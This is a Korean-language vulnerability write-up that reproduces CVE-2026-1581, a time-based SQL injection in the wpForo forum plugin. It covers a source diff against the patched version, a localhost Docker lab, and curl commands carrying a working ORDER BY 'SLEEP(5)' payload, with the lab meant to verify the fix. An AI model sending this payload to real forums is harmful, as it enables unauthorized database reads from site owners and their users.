
# CVE-2026-1581 재현 wpForo Forum <=2.4.14의 인증되지 않은 시간 기반 SQL 인젝션 취약점인 CVE-2026-1581을 Docker 랩과 PoC를 통해 재현하여 취약점을 시연하고 패치를 검증합니다.
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2026-1581 |
| 플러그인 | wpForo 포럼 |
| 영향 버전 | <= 2.4.14 |
| 패치 버전 | 2.4.15 |
| 취약점 유형 | 인증되지 않은 시간 기반 SQL 인젝션 (ORDER BY) |
| CVSS 점수 | 7.5 (높음) |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
CVE-2026-1581은 wpForo 포럼 플러그인(<= 2.4.14)의 인증되지 않은 시간 기반 SQL 인젝션 취약점입니다. wpfob 매개변수가 텍스트 정화(sanitization)만 적용된 ORDER BY 절에서 사용되어, 인증되지 않은 공격자가 임의의 SQL 표현식을 주입하고 데이터베이스에서 데이터를 읽을 수 있습니다.
공급업체는 sanitize_text_field()를 컨텍스트 인식 화이트리스트를 적용하는 wpforo_sanitize_orderby()로 교체하여 버전 2.4.15에서 이 문제를 수정했습니다.
localhost + Docker Compose 환경에서만 실행하십시오.
PoC는 취약한 버전과 패치된 버전의 차이를 입증하기 위한 시간 기반 타이밍 증명입니다.
명시적 승인 없이 어떤 시스템에도 사용하지 마십시오.
버전 증명: /community/ 페이지가 /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14(취약) vs 2.4.15(패치됨)를 로드합니다.
코드 증명: sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)
동작 증명: wpfob=modified,(SELECT SLEEP(5))는 취약한 버전에서 약 5초 지연을 유발합니다. 패치된 버전은 기준 시간에 가깝게 응답합니다.
CVE 권고는 wpfob 매개변수를 통한 시간 기반 SQL 인젝션이며 2.4.15에서 수정되었다고만 명시합니다. 분석 시점에 공개된 PoC는 없었습니다.
따라서 이 분석 문서는 2.4.14와 2.4.15 간의 소스 코드 차이 분석(diffing) 을 통해 구축되었으며, HTTP 입력에서 정화 과정을 거쳐 SQL 쿼리 구성에 사용되는 지점까지 매개변수를 추적하여 근본 원인을 이해하고 문제를 재현했습니다.

wpfob 찾기소스 코드에서 wpfob를 grep으로 검색한 결과, Recent 페이지가 GET 매개변수에서 값을 직접 가져와 orderby 인자로 할당하는 것을 발견했습니다.

취약 버전 (2.4.14) — themes/classic/recent.php:
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
패치 버전 (2.4.15) — 동일 파일, 정화 함수 교체:
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
왜
recent.php에 집중하나요?wpfob가$args['orderby']에 직접 할당되는 트리거 가능한 경로이기 때문입니다.
ORDER BY ...$args['orderby']가 설정되면 wpForo의 쿼리 빌더로 흘러가 ORDER BY 절을 구성합니다.
ORDER BY 연결 (취약 버전 2.4.14)
classes/Topics.php:

classes/Posts.php:

설명
sanitize_text_field()는 문자열을 제거/정화할 뿐 허용된 열 이름의 화이트리스트를 적용하지 않습니다.orderby가 ORDER BY <orderby>에 직접 연결되므로, 공격자는 ORDER BY 위치에 임의의 SQL 표현식을 주입할 수 있습니다.recent.php32c32
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo.php1036c1036
< $args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> $args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo_sanitize_orderby()버전 2.4.15는 입력이 허용 목록에 없으면 기본값을 반환하는 컨텍스트 인식 화이트리스트 정화 함수를 도입했습니다:

wp_vuln (WordPress + wpForo 2.4.14) → http://localhost:8081wp_patched (WordPress + wpForo 2.4.15) → http://localhost:8082db_vuln / db_patched (MariaDB)seed_vuln / seed_patched — wp-cli를 사용하여 WordPress 설치, 플러그인 설치, [wpforo] 숏코드로 /community/ 페이지 생성, 영구 링크 구성, .htaccess 생성, 검증 아티팩트 생성.소스 분석 결과 wpfob는 recent 페이지에서 명시적으로 사용됩니다:
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=opened테스트 전에 최소 1개의 주제(topic)와 1개의 게시물(post)이 존재해야 합니다.
ORDER BY 표현식을 평가하지 않을 수 있으며, 지연이 관찰되지 않아 오탐(false negative)이 발생할 수 있습니다.최소 1개의 주제와 1개의 게시물이 필요합니다.
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
"http://localhost:8081/community/recent/?view=opened"
curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
"http://localhost:8082/community/recent/?view=opened"

curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \
--get "http://localhost:8081/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \
--get "http://localhost:8082/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
예상 결과
attack_vuln ≈ baseline_vuln + ~5초attack_patched ≈ 기준 시간 (지연 없음)
8081 (취약), 8082 (패치)docker-compose.ymlscripts/seed-wp.sh프로젝트 폴더에서:
docker compose up -d
두 인스턴스 모두 접근 가능한지 확인:
http://localhost:8081/community/http://localhost:8082/community/그리고 recent 페이지:
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=opened

재현성 보장 및 오탐 방지를 위해 필요합니다.
# 1) 개수 확인 (취약)
docker compose run --rm --entrypoint sh seed_vuln -lc '
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
wp db query "SELECT COUNT(*) AS topics FROM ${PREFIX}wpforo_topics;" --allow-root
wp db query "SELECT COUNT(*) AS posts FROM ${PREFIX}wpforo_posts;" --allow-root
'
# 2) 주제 1개 및 게시물 1개 삽입 (취약)
docker compose run --rm --entrypoint sh seed_vuln -lc '
set -eu
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
UID=$(wp user get admin --field=ID --allow-root)
FID=$(wp db query "SELECT forumid FROM ${PREFIX}wpforo_forums WHERE is_cat=0 ORDER BY forumid ASC LIMIT 1;" --skip-column-names --allow-root)
wp db query "INSERT INTO ${PREFIX}wpforo_topics (forumid, userid, title, slug, created, modified) VALUES (${FID}, ${UID}, \"Timing Test\", \"timing-test\", NOW(), NOW());" --allow-root
TID=$(wp db query "SELECT MAX(topicid) FROM ${PREFIX}wpforo_topics;" --skip-column-names --allow-root)
wp db query "INSERT INTO ${PREFIX}wpforo_posts (forumid, topicid, userid, title, body, created, modified, is_first_post) VALUES (${FID}, ${TID}, ${UID}, \"Timing Test\", \"Hello\", NOW(), NOW(), 1);" --allow-root
PID=$(wp db query "SELECT MAX(postid) FROM ${PREFIX}wpforo_posts;" --skip-column-names --allow-root)
wp db query "UPDATE ${PREFIX}wpforo_topics SET first_postid=${PID}, last_post=${PID}, posts=1, modified=NOW() WHERE topicid=${TID};" --allow-root
echo "seeded forumid=${FID} topicid=${TID} postid=${PID}"
'
패치된 인스턴스의 경우 seed_vuln을 seed_patched로 교체하십시오.
가상 환경 사용을 권장합니다:
python3 -m venv .venv
source .venv/bin/activate
pip3 install -U pip
pip3 install -r requirements.txt
# 취약 버전
python3 poc.py http://localhost:8081
# 패치 버전
python3 poc.py http://localhost:8082

docker compose down -v